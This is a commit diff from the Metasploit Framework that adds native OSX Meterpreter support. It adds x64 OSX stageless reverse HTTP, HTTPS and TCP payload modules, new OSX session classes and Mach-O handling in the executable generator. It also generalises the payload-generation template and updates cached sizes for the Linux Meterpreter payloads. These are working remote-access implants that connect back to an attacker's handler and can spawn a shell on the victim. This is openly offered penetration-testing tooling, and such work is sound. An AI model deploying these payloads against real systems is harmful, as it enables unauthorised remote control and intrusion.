Land #8439, native OSX meterpreter support

This commit is contained in:
Brent Cook 2017-07-20 22:01:49 -05:00
commit 510ff888fd
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
44 changed files with 278 additions and 69 deletions

View File

@ -30,7 +30,7 @@ PATH
metasploit-model
metasploit-payloads (= 1.2.37)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.10)
metasploit_payloads-mettle (= 0.1.14)
msgpack
nessus_rest
net-ssh
@ -189,7 +189,7 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.1.10)
metasploit_payloads-mettle (0.1.14)
method_source (0.8.2)
mini_portile2 (2.2.0)
minitest (5.10.2)

View File

@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_x64_OSX < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'osx'
self.base_arch = ARCH_X64
end
end
end
end

View File

@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_x86_OSX < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'osx'
self.base_arch = ARCH_X86
end
end
end
end

View File

@ -106,7 +106,7 @@ require 'msf/core/exe/segment_appender'
# @return [String]
# @return [NilClass]
def self.to_executable(framework, arch, plat, code = '', opts = {})
if elf? code
if elf? code or macho? code
return code
end
@ -2148,15 +2148,19 @@ require 'msf/core/exe/segment_appender'
end
end
when 'macho', 'osx-app'
macho = case arch
when ARCH_X86,nil
to_osx_x86_macho(framework, code, exeopts)
when ARCH_X64
to_osx_x64_macho(framework, code, exeopts)
when ARCH_ARMLE
to_osx_arm_macho(framework, code, exeopts)
when ARCH_PPC
to_osx_ppc_macho(framework, code, exeopts)
if macho? code
macho = code
else
macho = case arch
when ARCH_X86,nil
to_osx_x86_macho(framework, code, exeopts)
when ARCH_X64
to_osx_x64_macho(framework, code, exeopts)
when ARCH_ARMLE
to_osx_arm_macho(framework, code, exeopts)
when ARCH_PPC
to_osx_ppc_macho(framework, code, exeopts)
end
end
fmt == 'osx-app' ? Msf::Util::EXE.to_osx_app(macho) : macho
when 'vba'
@ -2284,6 +2288,10 @@ require 'msf/core/exe/segment_appender'
code[0..3] == "\x7FELF"
end
def self.macho?(code)
code[0..3] == "\xCF\xFA\xED\xFE" || code[0..3] == "\xCE\xFA\xED\xFE" || code[0..3] == "\xCA\xFE\xBA\xBE"
end
end
end
end

View File

@ -259,7 +259,7 @@ class Console::CommandDispatcher::Stdapi::Sys
print_error( "Failed to spawn shell with thread impersonation. Retrying without it." )
cmd_execute("-f", path, "-c", "-H", "-i")
end
when 'linux'
when 'linux', 'osx'
# Don't expand_path() this because it's literal anyway
path = "/bin/sh"
cmd_execute("-f", path, "-c", "-i")

View File

@ -72,7 +72,7 @@ Gem::Specification.new do |spec|
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.37'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.10'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.14'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 652264
CachedSize = 675048
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 652264
CachedSize = 675048
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 652264
CachedSize = 675048
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 645136
CachedSize = 668360
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 645136
CachedSize = 668360
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 645136
CachedSize = 668360
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 643904
CachedSize = 666624
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 643904
CachedSize = 666624
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 643904
CachedSize = 666624
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 1028600
CachedSize = 1059232
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 1028600
CachedSize = 1059232
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 1028600
CachedSize = 1059232
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 1007024
CachedSize = 1037012
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 1007024
CachedSize = 1037012
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 1007024
CachedSize = 1037012
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 1007120
CachedSize = 1036276
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 1007120
CachedSize = 1036276
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 1007120
CachedSize = 1036276
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 789100
CachedSize = 789164
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 789100
CachedSize = 789164
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 789100
CachedSize = 789164
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 790264
CachedSize = 855864
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 790264
CachedSize = 855864
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 790264
CachedSize = 855864
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
module MetasploitModule
CachedSize = 704512
CachedSize = 729120
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
module MetasploitModule
CachedSize = 704512
CachedSize = 729120
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x64_linux'
module MetasploitModule
CachedSize = 704512
CachedSize = 729120
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
module MetasploitModule
CachedSize = 744060
CachedSize = 772796
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
module MetasploitModule
CachedSize = 744060
CachedSize = 772796
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_x86_linux'
module MetasploitModule
CachedSize = 744060
CachedSize = 772796
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 868848
CachedSize = 893496
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 868848
CachedSize = 893496
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 868848
CachedSize = 893496
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions

View File

@ -0,0 +1,45 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_http'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_x64_osx'
module MetasploitModule
CachedSize = 618316
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OSX Meterpreter, Reverse HTTP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>'
],
'Platform' => 'osx',
'Arch' => ARCH_X64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseHttp,
'Session' => Msf::Sessions::Meterpreter_x64_OSX
)
)
end
def generate
opts = {
scheme: 'http',
stageless: true
}
MetasploitPayloads::Mettle.new('x86_64-apple-darwin', generate_config(opts)).to_binary :exec
end
end

View File

@ -0,0 +1,45 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_https'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_x64_osx'
module MetasploitModule
CachedSize = 618316
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OSX Meterpreter, Reverse HTTPS Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>'
],
'Platform' => 'osx',
'Arch' => ARCH_X64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseHttps,
'Session' => Msf::Sessions::Meterpreter_x64_OSX
)
)
end
def generate
opts = {
scheme: 'https',
stageless: true
}
MetasploitPayloads::Mettle.new('x86_64-apple-darwin', generate_config(opts)).to_binary :exec
end
end

View File

@ -0,0 +1,45 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_x64_osx'
module MetasploitModule
CachedSize = 618316
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OSX Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>'
],
'Platform' => 'osx',
'Arch' => ARCH_X64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_x64_OSX
)
)
end
def generate
opts = {
scheme: 'tcp',
stageless: true
}
MetasploitPayloads::Mettle.new('x86_64-apple-darwin', generate_config(opts)).to_binary :exec
end
end

View File

@ -12,32 +12,36 @@ schemes = [
]
arches = [
['aarch64', 'aarch64-linux-musl'],
['armbe', 'armv5b-linux-musleabi'],
['armle', 'armv5l-linux-musleabi'],
['mips64', 'mips64-linux-muslsf'],
['mipsbe', 'mips-linux-muslsf'],
['mipsle', 'mipsel-linux-muslsf'],
['ppc', 'powerpc-linux-muslsf'],
['ppc64le', 'powerpc64le-linux-musl'],
['x64', 'x86_64-linux-musl'],
['x86', 'i486-linux-musl'],
['zarch', 's390x-linux-musl'],
['aarch64','Linux', 'aarch64-linux-musl'],
['armbe', 'Linux', 'armv5b-linux-musleabi'],
['armle', 'Linux', 'armv5l-linux-musleabi'],
['mips64', 'Linux', 'mips64-linux-muslsf'],
['mipsbe', 'Linux', 'mips-linux-muslsf'],
['mipsle', 'Linux', 'mipsel-linux-muslsf'],
['ppc', 'Linux', 'powerpc-linux-muslsf'],
['ppc64le','Linux', 'powerpc64le-linux-musl'],
['x64', 'Linux', 'x86_64-linux-musl'],
['x86', 'Linux', 'i486-linux-musl'],
['zarch', 'Linux', 's390x-linux-musl'],
['x64', 'OSX', 'x86_64-apple-darwin'],
]
arch = ''
payload = ''
platform = ''
scheme = ''
cwd = File::dirname(__FILE__)
template = File::read(File::join(cwd, 'linux_meterpreter_reverse.erb'))
renderer = ERB.new(template)
arches.each do |a, p|
arches.each do |a, pl, pa|
schemes.each do |s|
arch = a
payload = p
platform = pl
payload = pa
scheme = s
filename = File::join('modules', 'payloads', 'singles', 'linux', arch, "meterpreter_reverse_#{scheme}.rb")
template = File::read(File::join(cwd, "meterpreter_reverse.erb"))
renderer = ERB.new(template)
filename = File::join('modules', 'payloads', 'singles', platform, arch, "meterpreter_reverse_#{scheme}.rb")
File::write(filename, renderer.result())
end
end

View File

@ -6,7 +6,7 @@
require 'msf/core/handler/reverse_<%= scheme %>'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_<%= arch %>_linux'
require 'msf/base/sessions/meterpreter_<%= arch %>_<%= platform.downcase %>'
module MetasploitModule
@ -18,23 +18,27 @@ module MetasploitModule
super(
update_info(
info,
'Name' => 'Linux Meterpreter, Reverse <%= scheme.upcase %> Inline',
'Name' => '<%= platform %> Meterpreter, Reverse <%= scheme.upcase %> Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>'
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr'
],
'Platform' => 'linux',
'Platform' => '<%= platform.downcase %>',
'Arch' => ARCH_<%= arch.upcase %>,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::Reverse<%= scheme.capitalize %>,
'Session' => Msf::Sessions::Meterpreter_<%= arch %>_Linux
'Session' => Msf::Sessions::Meterpreter_<%= arch %>_<%= platform %>
)
)
end
def generate
opts = {scheme: '<%= scheme %>'}
opts = {
scheme: '<%= scheme %>',
stageless: true
}
MetasploitPayloads::Mettle.new('<%= payload %>', generate_config(opts)).to_binary :exec
end
end